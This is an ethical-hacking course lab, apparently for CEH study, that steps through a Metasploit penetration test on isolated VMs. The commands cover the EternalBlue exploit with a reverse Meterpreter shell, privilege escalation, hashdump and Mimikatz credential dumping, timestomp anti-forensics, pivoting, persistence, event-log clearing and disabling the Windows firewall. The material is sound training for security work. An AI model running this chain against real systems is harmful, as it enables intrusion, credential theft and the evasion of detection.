Cyber Services / All lessons / CEH — Ethical Hacking / Introduction to Penetration Testing with Metasploit Framework

Introduction to Penetration Testing with Metasploit Framework

Module 36 of 130 · 10 min read · Free to read

MODULES ↓ Command blocks have a COPY button

A Comprehensive Lab for CEH Skill Development

Objective

This advanced lab provides immersive, hands-on experience simulating a penetration test using the Metasploit Framework. Participants will progress through reconnaissance, vulnerability scanning and analysis, exploitation, sophisticated post-exploitation techniques (including privilege escalation, credential harvesting, and basic pivoting), and understand reporting considerations. The focus is on practical application of CEH concepts within Metasploit.

Prerequisites

  • Strong understanding of TCP/IP networking fundamentals (OSI/TCP models, ports, protocols like SMB, HTTP).
  • Proficiency with the Linux command line (navigation, file manipulation, basic commands).
  • Experience with virtualization software (VirtualBox, VMware) and VM management.
  • Conceptual understanding of common vulnerabilities (e.g., buffer overflows, command injection), exploits, and payloads.
  • Familiarity with basic Metasploit commands (as covered in introductory guides).
  • Basic knowledge of Windows and Linux operating systems.

Materials Required

  • Attacker Machine: Kali Linux VM (latest version recommended) with Metasploit Framework installed and updated. Minimum 4GB RAM recommended.
  • Target Machine(s):
    • A vulnerable Windows VM (e.g., Windows 7 unpatched, Windows Server 2008 unpatched for MS17-010 practice).
    • (Optional but Recommended) Metasploitable 3 VM (Windows or Ubuntu version) for a wider range of vulnerabilities.
    • Ensure target VMs are configured for network connectivity with the Kali VM.
  • Network Configuration: A dedicated host-only or internal virtual network for the lab VMs to ensure isolation.
Lab Isolation and Ethical Use: This lab involves simulated attacks. **Ensure your lab VMs are isolated from any production networks.** All activities must be confined to the designated target VMs within your controlled lab environment. Unauthorized scanning or exploitation is illegal and unethical.

Lab Setup & Verification

  1. Power on the Kali Linux VM and the chosen Target VM(s).
  2. Verify Network Configuration: Ensure all VMs are on the same isolated virtual network (e.g., VirtualBox Host-Only Adapter, VMware VMnet).
  3. Identify IP Addresses:
    # On Kali VM
    $ ip address show eth0 # (or relevant interface) - Note your Attacker IP
    
    # On Windows Target VM (Command Prompt)
    C:\> ipconfig # Note the Target IP
    
    # On Linux Target VM (e.g., Metasploitable)
    $ ip address show eth0 # Note the Target IP
  4. Verify Connectivity: Ping the target(s) from Kali.
    $ ping -c 3 [Target_IP]

    Confirm you receive replies from the target IP address.

  5. Firewall Adjustment (Lab Only): For seamless lab execution, temporarily disable host-based firewalls on the Target VM(s). Remember this is unrealistic for real engagements and purely for facilitating learning in this controlled setup. Re-enable firewalls post-lab.
    # Example: Disable Windows Firewall (Run as Administrator)
    C:\> NetSh Advfirewall set allprofiles state off

    This command disables all profiles of the Windows Firewall.

  6. Launch Metasploit & Check Database:
    $ sudo systemctl start postgresql # Ensure DB service is running
    $ msfconsole
    msf6 > db_status # Should show 'postgresql connected'
  7. Create & Use a Workspace:
    msf6 > workspace -a AdvLab_$(date +%F) # Create dated workspace
    msf6 > workspace AdvLab_...         # Switch to it
CEH Methodology: The lab follows the standard phases: Reconnaissance/Scanning -> Gaining Access -> Maintaining Access (Post-Exploitation) -> Covering Tracks (Cleanup).

Phase 1: Advanced Reconnaissance & Scanning

Task 1.1: Integrated Nmap Scanning (db_nmap)

Use Metasploit's `db_nmap` to scan the target directly and automatically import results into the workspace database.

msf6 > db_nmap -sV -sC -A -T4 --script=vuln [Target_IP]

This performs a service version detection (`-sV`), default script scan (`-sC`), OS detection & traceroute (`-A`), aggressive timing (`-T4`), and vulnerability script scan (`--script=vuln`) against the target, saving results directly to the database.

msf6 > hosts       # Verify host was added
msf6 > services    # Check discovered services
msf6 > vulns       # View potential vulnerabilities found

Task 1.2: Specific Auxiliary Scanning

Based on `db_nmap` results (or prior knowledge), run targeted auxiliary scanners.

# Example: If SMB (port 445) is open, check version and MS17-010
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS [Target_IP]
msf6 auxiliary(scanner/smb/smb_version) > run

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS [Target_IP]
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
Tip: Use `services -p 445 -c address,port,name,state` to quickly find hosts with SMB open in your database.

Phase 2: Vulnerability Analysis & Exploitation

Task 2.1: Analyze Findings & Select Exploit

Review the output from the scanners and the `vulns` command. Assume the MS17-010 scanner indicated the target is vulnerable.

msf6 > vulns # Review findings, note CVEs/MS Bulletins
msf6 > search cve:2017-0144 type:exploit rank:excellent

Filter for excellent rank exploits related to the relevant CVE.

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > info # Read details carefully

Task 2.2: Payload Selection & Configuration

Choose an appropriate payload. Meterpreter over reverse TCP is common and versatile.

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads # See compatible payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp # Match target architecture!
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options # Review payload options (LHOST, LPORT)
Payload Choice Considerations:
  • Architecture: Match x64 or x86 payload to the target OS.
  • Staged vs. Stageless: Staged (.../reverse_tcp) is smaller initially but needs a second connection. Stageless (..._reverse_tcp) is larger but self-contained. Stageless is often more reliable if the initial exploit works but can be easier to detect statically.
  • Connection: Reverse TCP/HTTP(S) (target connects back) usually bypasses inbound firewalls. Bind TCP (attacker connects to target) requires the target port to be open inbound.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST [Your_Kali_IP] # Use correct interface IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444        # Common listener port
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS [Target_IP]
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options      # Final check

Task 2.3: Launching the Exploit

msf6 exploit(windows/smb/ms17_010_eternalblue) > check # Run check before full exploit
[*] [Target_IP]:445 - The target is likely vulnerable.

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

Monitor the output closely. Look for "[*] Meterpreter session X opened".

Phase 3: Advanced Post-Exploitation (Meterpreter)

Assuming a Meterpreter session was successfully opened:

msf6 exploit(...)> sessions -l   # List sessions
msf6 exploit(...)> sessions -i 1 # Interact with session 1 (adjust ID)
meterpreter >

Task 3.1: Situational Awareness & Basic Enumeration

meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
meterpreter > ipconfig
meterpreter > route
meterpreter > ps

Task 3.2: Privilege Escalation

meterpreter > getprivs          # Check current privileges
meterpreter > background        # Background session to use post module
msf6 exploit(...)> use post/multi/recon/local_exploit_suggester
msf6 post(...)> set SESSION 1     # Set the session ID
msf6 post(...)> run             # Check for local privesc exploits
msf6 post(...)> sessions -i 1 # Go back into session

meterpreter > getsystem         # Attempt automatic privilege escalation
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid            # Verify (Should be NT AUTHORITY\SYSTEM)

Task 3.3: Credential Harvesting (Requires SYSTEM)

meterpreter > hashdump          # Dump LM/NTLM hashes from SAM
Administrator:500:aad3...:31d6...:::
Guest:501:aad3...:31d6...:::
...

meterpreter > load kiwi         # Load Mimikatz extension
[*] Loading extension kiwi...success.
meterpreter > creds_all       # Dump credentials from LSASS memory (passwords, tickets, etc.)
meterpreter > lsa_dump_sam    # Alternative hash dump via kiwi
meterpreter > lsa_dump_secrets # Dump LSA secrets
CEH Note: Credential Dumping: Techniques like `hashdump` and using Mimikatz (Kiwi) are core concepts in privilege escalation and lateral movement, frequently tested and discussed in CEH materials. Understand hash types (LM, NTLM) and cracking methods (John, Hashcat).

Task 3.4: Process Migration

Migrate into a more stable process to survive potential crashes of the initially exploited process.

meterpreter > ps                    # Find PID of stable process (e.g., explorer.exe, svchost.exe - check user context)
meterpreter > migrate [PID_of_stable_process]

Task 3.5: Advanced File System Interaction

meterpreter > search -f *.docx -d C:\\Users\\ # Search for Word docs in user dirs
meterpreter > cat C:\\Windows\\System32\\drivers\\etc\\hosts # View hosts file
meterpreter > timestomp C:\\Windows\\Temp\\malware.exe -f C:\\Windows\\notepad.exe # Modify timestamp of malware.exe to match notepad.exe (anti-forensics)

Task 3.6: Basic Pivoting (Autoroute)

Use the compromised host to access other networks it's connected to.

meterpreter > run autoroute -p      # Print existing routes known to Meterpreter
meterpreter > run autoroute -s 10.10.20.0/24 # Add route to internal subnet 10.10.20.0/24 via this session
[*] Adding subnet 10.10.20.0/255.255.255.0 ...

meterpreter > run autoroute -p

# Now, back in msfconsole, you can use modules against the 10.10.20.0/24 network
meterpreter > background
msf6 exploit(...)> use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...)> set RHOSTS 10.10.20.0/24
msf6 auxiliary(...)> run # Traffic is automatically routed through the Meterpreter session

Task 3.7: Persistence Concepts (Demonstration Only)

Mentioning persistence modules (use with extreme caution and explicit permission).

# Example (DO NOT run without authorization & understanding)
meterpreter > run post/windows/manage/persistence_exe STARTUP=SERVICE REXEPATH=C:\\path\\to\\payload.exe

Discuss how this installs a payload to run automatically (e.g., as a service, registry key). Requires a separate listener for the persistent payload.

Phase 4: Cleanup & Reporting Considerations

Task 4.1: Session & Artifact Cleanup (Lab Context)

Proper cleanup is crucial in real engagements; in a lab, it reinforces good habits.

# Inside Meterpreter session
meterpreter > clearev           # Attempt to clear Event Logs (often detected, use cautiously)
meterpreter > rm C:\\Windows\\Temp\\uploaded_tool.exe # Delete uploaded files
meterpreter > rm C:\\path\\to\\downloaded\\files # Delete downloaded files (if needed)
meterpreter > run post/windows/manage/remove_persistence # If persistence was added via specific modules
meterpreter > exit              # Close the session

# In msfconsole
msf6 > sessions -K       # Kill all active sessions
msf6 > exit              # Exit Metasploit

Task 4.2: Lab Environment Reset

  • Re-enable firewalls on target VMs.
  • Power off VMs.
  • Crucially: Revert target VMs to a clean snapshot taken before the lab began. This ensures a consistent starting point for future labs and removes any unintended changes or persistence.

Task 4.3: Reporting Concepts

In a real engagement, detailed reporting is vital. Metasploit's database provides valuable data for this.

# Within msfconsole for the workspace
msf6 > hosts -c address,os_name,purpose # List target hosts with OS and purpose
msf6 > services -c port,proto,name,state,info # Detailed service listing
msf6 > vulns -c host,name,refs # List identified vulnerabilities with references (CVEs!)
msf6 > creds -c host,port,user,pass,ptype # List captured credentials
msf6 > loot -c host,ltype,data,info # List captured data/files
msf6 > notes -h # View notes added during the engagement

# Exporting Data
msf6 > db_export -f xml -a /tmp/AdvLabReportData.xml # Export all workspace data to XML
msf6 > db_export -f pw_dump -a /tmp/AdvLabHashes.txt # Export hashes in a crackable format

This data, along with manual notes, screenshots (`screenshot` command), logs, and CVSS scores (obtained via NVD lookup using CVEs from `vulns` or `info`), forms the basis of a professional penetration test report. The report should detail findings, evidence, risk assessment, impact, and actionable remediation recommendations.

CEH Domain: Maintaining Access / Covering Tracks / Reporting: This phase covers cleaning up artifacts (`clearev`, deleting files), removing persistence, and gathering the necessary data (`hosts`, `vulns`, `creds`, `loot`, `db_export`) for comprehensive reporting – all essential elements of the ethical hacking process evaluated by CEH. Professional report writing is a key skill.

Conclusion & Path Forward

This advanced lab provided a deeper dive into the practical application of Metasploit, moving beyond basic exploitation into sophisticated post-exploitation and integration with the penetration testing lifecycle. You've practiced database integration, targeted scanning, payload selection, privilege escalation, credential harvesting, basic pivoting, and cleanup/reporting considerations. Mastering these techniques requires understanding not just the commands, but the underlying concepts and the context within the broader security landscape.

Recommendations for Continued Mastery:
  • Diverse Targets: Practice against different OS versions (Linux, newer Windows), applications, and architectures. Use labs like Hack The Box, TryHackMe, or VulnHub.
  • Manual Exploitation: Complement Metasploit skills by learning manual exploit techniques for buffer overflows, web vulnerabilities, etc.
  • Evasion Techniques: Dedicate significant time to researching and practicing AV/EDR evasion beyond basic encoding.
  • Scripting (Python/Ruby): Automate complex tasks and develop custom tools by interacting with Metasploit's RPC API.
  • Read Exploit Code: Analyze the source code of Metasploit modules (located in `/usr/share/metasploit-framework/modules/`) to understand how they work internally.
  • Stay Current: Follow security news, research new CVEs, and regularly update Metasploit (`msfupdate`).

Metasploit remains a cornerstone of the ethical hacker's toolkit. By combining deep technical understanding with consistent, ethical practice, you can effectively leverage its power for comprehensive security assessments and excel in your CEH journey and beyond.

Modules (130) ← CEH — Ethical Hacking